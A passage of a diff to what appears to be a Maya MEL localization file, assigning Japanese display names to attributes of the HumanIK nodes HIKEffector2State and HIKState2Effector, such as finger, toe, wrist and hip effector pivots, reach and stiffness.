"左足親指のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootThumbEffectorPull", "左足親指のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootThumbEffectorStiffness", "左足親指のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootIndexEffectorGX", "左足人差指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootIndexEffectorPivot", "左足人差指のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootIndexEffectorPivotX", "左足人差指のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootIndexEffectorPivotY", "左足人差指のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootIndexEffectorPivotZ", "左足人差指のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootIndexEffectorReachT", "左足人差指のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootIndexEffectorReachR", "左足人差指のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootIndexEffectorPull", "左足人差指のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootIndexEffectorStiffness", "左足人差指のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootMiddleEffectorGX", "左足中指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootMiddleEffectorPivot", "左足中指のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootMiddleEffectorPivotX", "左足中指のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootMiddleEffectorPivotY", "左足中指のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootMiddleEffectorPivotZ", "左足中指のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootMiddleEffectorReachT", "左足中指のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootMiddleEffectorReachR", "左足中指のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootMiddleEffectorPull", "左足中指のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootMiddleEffectorStiffness", "左足中指のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootRingEffectorGX", "左足薬指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootRingEffectorPivot", "左足薬指のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootRingEffectorPivotX", "左足薬指のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootRingEffectorPivotY", "左足薬指のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootRingEffectorPivotZ", "左足薬指のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootRingEffectorReachT", "左足薬指のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootRingEffectorReachR", "左足薬指のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootRingEffectorPull", "左足薬指のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootRingEffectorStiffness", "左足薬指のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootPinkyEffectorGX", "左足小指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootPinkyEffectorPivot", "左足小指のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootPinkyEffectorPivotX", "左足小指のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootPinkyEffectorPivotY", "左足小指のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootPinkyEffectorPivotZ", "左足小指のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootPinkyEffectorReachT", "左足小指のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootPinkyEffectorReachR", "左足小指のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootPinkyEffectorPull", "左足小指のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootPinkyEffectorStiffness", "左足小指のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootExtraFingerEffectorGX", "左足追加指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootExtraFingerEffectorPivot", "左足追加指のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootExtraFingerEffectorPivotX", "左足追加指のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootExtraFingerEffectorPivotY", "左足追加指のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootExtraFingerEffectorPivotZ", "左足追加指のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootExtraFingerEffectorReachT", "左足追加指のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootExtraFingerEffectorReachR", "左足追加指のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootExtraFingerEffectorPull", "左足追加指のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootExtraFingerEffectorStiffness", "左足追加指のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootThumbEffectorGX", "右足親指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootThumbEffectorPivot", "右足親指のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootThumbEffectorPivotX", "右足親指のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootThumbEffectorPivotY", "右足親指のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootThumbEffectorPivotZ", "右足親指のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootThumbEffectorReachT", "右足親指のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootThumbEffectorReachR", "右足親指のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootThumbEffectorPull", "右足親指のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootThumbEffectorStiffness", "右足親指のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootIndexEffectorGX", "右足人差指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootIndexEffectorPivot", "右足人差指のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootIndexEffectorPivotX", "右足人差指のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootIndexEffectorPivotY", "右足人差指のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootIndexEffectorPivotZ", "右足人差指のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootIndexEffectorReachT", "右足人差指のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootIndexEffectorReachR", "右足人差指のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootIndexEffectorPull", "右足人差指のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootIndexEffectorStiffness", "右足人差指のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootMiddleEffectorGX", "右足中指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootMiddleEffectorPivot", "右足中指のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootMiddleEffectorPivotX", "右足中指のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootMiddleEffectorPivotY", "右足中指のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootMiddleEffectorPivotZ", "右足中指のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootMiddleEffectorReachT", "右足中指のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootMiddleEffectorReachR", "右足中指のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootMiddleEffectorPull", "右足中指のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootMiddleEffectorStiffness", "右足中指のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootRingEffectorGX", "右足薬指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootRingEffectorPivot", "右足薬指のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootRingEffectorPivotX", "右足薬指のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootRingEffectorPivotY", "右足薬指のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootRingEffectorPivotZ", "右足薬指のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootRingEffectorReachT", "右足薬指のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootRingEffectorReachR", "右足薬指のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootRingEffectorPull", "右足薬指のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootRingEffectorStiffness", "右足薬指のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootPinkyEffectorGX", "右足小指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootPinkyEffectorPivot", "右足小指のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootPinkyEffectorPivotX", "右足小指のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootPinkyEffectorPivotY", "右足小指のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootPinkyEffectorPivotZ", "右足小指のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootPinkyEffectorReachT", "右足小指のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootPinkyEffectorReachR", "右足小指のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootPinkyEffectorPull", "右足小指のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootPinkyEffectorStiffness", "右足小指のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootExtraFingerEffectorGX", "右足追加指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootExtraFingerEffectorPivot", "右足追加指のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootExtraFingerEffectorPivotX", "右足追加指のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootExtraFingerEffectorPivotY", "右足追加指のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootExtraFingerEffectorPivotZ", "右足追加指のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootExtraFingerEffectorReachT", "右足追加指のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootExtraFingerEffectorReachR", "右足追加指のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootExtraFingerEffectorPull", "右足追加指のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootExtraFingerEffectorStiffness", "右足追加指のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "leftHandFloorGX", "左手のフロアの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "rightHandFloorGX", "右手のフロアの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "leftFootFloorGX", "左足のフロアの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "rightFootFloorGX", "右足のフロアの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "fza", "フリーズの影響を受ける" ); +// +// Node: HIKState2Effector +// +setNodeNiceNameResource( "HIKState2Effector", "HIKState 2Effector" ); +setAttrNiceNameResource( "HIKState2Effector", "fzn", "フリーズ" ); +setAttrNiceNameResource( "HIKState2Effector", "InputEffectorState", "入力エフェクタの状態" ); +setAttrNiceNameResource( "HIKState2Effector", "HipsEffectorGX", "ヒップのエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "HipsEffectorGXM", "ヒップのエフェクタの GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "HipsEffectorpivotOffset", "ヒップのエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "HipsEffectorpivotOffsetX", "ヒップのエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "HipsEffectorpivotOffsetY", "ヒップのエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "HipsEffectorpivotOffsetZ", "ヒップのエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftAnkleEffectorGX", "左足首のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftAnkleEffectorGXM", "左足首のエフェクタGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftAnkleEffectorpivotOffset", "左足首のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftAnkleEffectorpivotOffsetX", "左足首のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftAnkleEffectorpivotOffsetY", "左足首のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftAnkleEffectorpivotOffsetZ", "左足首のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightAnkleEffectorGX", "右足首のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightAnkleEffectorGXM", "右足首のエフェクタGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightAnkleEffectorpivotOffset", "右足首のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "RightAnkleEffectorpivotOffsetX", "右足首のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightAnkleEffectorpivotOffsetY", "右足首のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightAnkleEffectorpivotOffsetZ", "右足首のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftWristEffectorGX", "左手首のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftWristEffectorGXM", "左手首のエフェクタGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftWristEffectorpivotOffset", "左手首のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftWristEffectorpivotOffsetX", "左手首のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftWristEffectorpivotOffsetY", "左手首のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftWristEffectorpivotOffsetZ", "左手首のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightWristEffectorGX", "右手首のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightWristEffectorGXM", "右手首のエフェクタGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightWristEffectorpivotOffset", "右手首のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "RightWristEffectorpivotOffsetX", "右手首のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightWristEffectorpivotOffsetY", "右手首のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightWristEffectorpivotOffsetZ", "右手首のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftKneeEffectorGX", "左膝のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftKneeEffectorGXM", "左膝のエフェクタの GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftKneeEffectorpivotOffset", "左膝のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftKneeEffectorpivotOffsetX", "左膝のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftKneeEffectorpivotOffsetY", "左膝のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftKneeEffectorpivotOffsetZ", "左膝のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightKneeEffectorGX", "右膝のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightKneeEffectorGXM", "右膝のエフェクタの GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightKneeEffectorpivotOffset", "右膝のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "RightKneeEffectorpivotOffsetX", "右膝のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightKneeEffectorpivotOffsetY", "右膝のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightKneeEffectorpivotOffsetZ", "右膝のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftElbowEffectorGX", "左肘のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftElbowEffectorGXM", "左肘のエフェクタの GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftElbowEffectorpivotOffset", "左肘のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftElbowEffectorpivotOffsetX", "左肘のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftElbowEffectorpivotOffsetY", "左肘のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftElbowEffectorpivotOffsetZ", "左肘のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightElbowEffectorGX", "右肘のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightElbowEffectorGXM", "右肘のエフェクタマルチGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightElbowEffectorpivotOffset", "右肘のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "RightElbowEffectorpivotOffsetX", "右肘のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightElbowEffectorpivotOffsetY", "右肘のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightElbowEffectorpivotOffsetZ", "右肘のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "ChestOriginEffectorGX", "胸の原点エフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "ChestOriginEffectorGXM", "胸原点エフェクタGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "ChestOriginEffectorpivotOffset", "胸の原点エフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "ChestOriginEffectorpivotOffsetX", "胸の原点エフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "ChestOriginEffectorpivotOffsetY", "胸の原点エフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "ChestOriginEffectorpivotOffsetZ", "胸の原点エフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "ChestEndEffectorGX", "胸のエンド エフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "ChestEndEffectorGXM", "胸エンドエフェクタGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "ChestEndEffectorpivotOffset", "胸のエンドエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "ChestEndEffectorpivotOffsetX", "胸のエンド エフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "ChestEndEffectorpivotOffsetY", "胸のエンド エフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "ChestEndEffectorpivotOffsetZ", "胸のエンド エフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootEffectorGX", "左足のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootEffectorGXM", "左足のエフェクタの GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootEffectorpivotOffset", "左足のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootEffectorpivotOffsetX", "左足のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootEffectorpivotOffsetY", "左足のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftFootEffectorpivotOffsetZ", "左足のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootEffectorGX", "右足のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootEffectorGXM", "右足のエフェクタの GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootEffectorpivotOffset", "右足のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootEffectorpivotOffsetX", "右足のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootEffectorpivotOffsetY", "右足のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightFootEffectorpivotOffsetZ", "右足のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftShoulderEffectorGX", "左肩のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftShoulderEffectorGXM", "左肩のエフェクタの GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftShoulderEffectorpivotOffset", "左肩のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftShoulderEffectorpivotOffsetX", "左肩のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftShoulderEffectorpivotOffsetY", "左肩のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftShoulderEffectorpivotOffsetZ", "左肩のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightShoulderEffectorGX", "右肩のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightShoulderEffectorGXM", "右肩のエフェクタの GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightShoulderEffectorpivotOffset", "右肩のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "RightShoulderEffectorpivotOffsetX", "右肩のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightShoulderEffectorpivotOffsetY", "右肩のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightShoulderEffectorpivotOffsetZ", "右肩のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "HeadEffectorGX", "頭のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "HeadEffectorGXM", "頭のエフェクタの GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "HeadEffectorpivotOffset", "頭のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "HeadEffectorpivotOffsetX", "頭のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "HeadEffectorpivotOffsetY", "頭のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "HeadEffectorpivotOffsetZ", "頭のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHipEffectorGX", "左ヒップのエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHipEffectorGXM", "左ヒップエフェクタGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHipEffectorpivotOffset", "左ヒップのエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHipEffectorpivotOffsetX", "左ヒップのエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHipEffectorpivotOffsetY", "左ヒップのエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHipEffectorpivotOffsetZ", "左ヒップのエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHipEffectorGX", "右ヒップのエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHipEffectorGXM", "右ヒップエフェクタGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHipEffectorpivotOffset", "右ヒップのエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHipEffectorpivotOffsetX", "右ヒップのエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHipEffectorpivotOffsetY", "右ヒップのエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHipEffectorpivotOffsetZ", "右ヒップのエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandEffectorGX", "左手のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandEffectorGXM", "左手のエフェクタの GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandEffectorpivotOffset", "左手のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandEffectorpivotOffsetX", "左手のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandEffectorpivotOffsetY", "左手のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandEffectorpivotOffsetZ", "左手のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandEffectorGX", "右手のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandEffectorGXM", "右手のエフェクタの GXM" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandEffectorpivotOffset", "右手のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandEffectorpivotOffsetX", "右手のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandEffectorpivotOffsetY", "右手のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "RightHandEffectorpivotOffsetZ", "右手のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandThumbEffectorGX", "左手親指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandThumbEffectorGXM", "左手親指エフェクタGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandThumbEffectorpivotOffset", "左手親指のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandThumbEffectorpivotOffsetX", "左手親指のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandThumbEffectorpivotOffsetY", "左手親指のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandThumbEffectorpivotOffsetZ", "左手親指のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandIndexEffectorGX", "左手人差指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandIndexEffectorGXM", "左手人差指エフェクタGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandIndexEffectorpivotOffset", "左手人差指のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandIndexEffectorpivotOffsetX", "左手人差指のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandIndexEffectorpivotOffsetY", "左手人差指のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandIndexEffectorpivotOffsetZ", "左手人差指のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandMiddleEffectorGX", "左手中指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandMiddleEffectorGXM", "左手中指エフェクタGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandMiddleEffectorpivotOffset", "左手中指のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandMiddleEffectorpivotOffsetX", "左手中指のエフェクタピボット オフセット X" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandMiddleEffectorpivotOffsetY", "左手中指のエフェクタピボット オフセット Y" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandMiddleEffectorpivotOffsetZ", "左手中指のエフェクタピボット オフセット Z" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandRingEffectorGX", "左手薬指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandRingEffectorGXM", "左手薬指エフェクタGXM" ); +setAttrNiceNameResource( "HIKState2Effector", "LeftHandRingEffectorpivotOffset", "左手薬指のエフェクタピボットオフセット" ); +setAttrNiceNameResource( "HIKState2Effector", 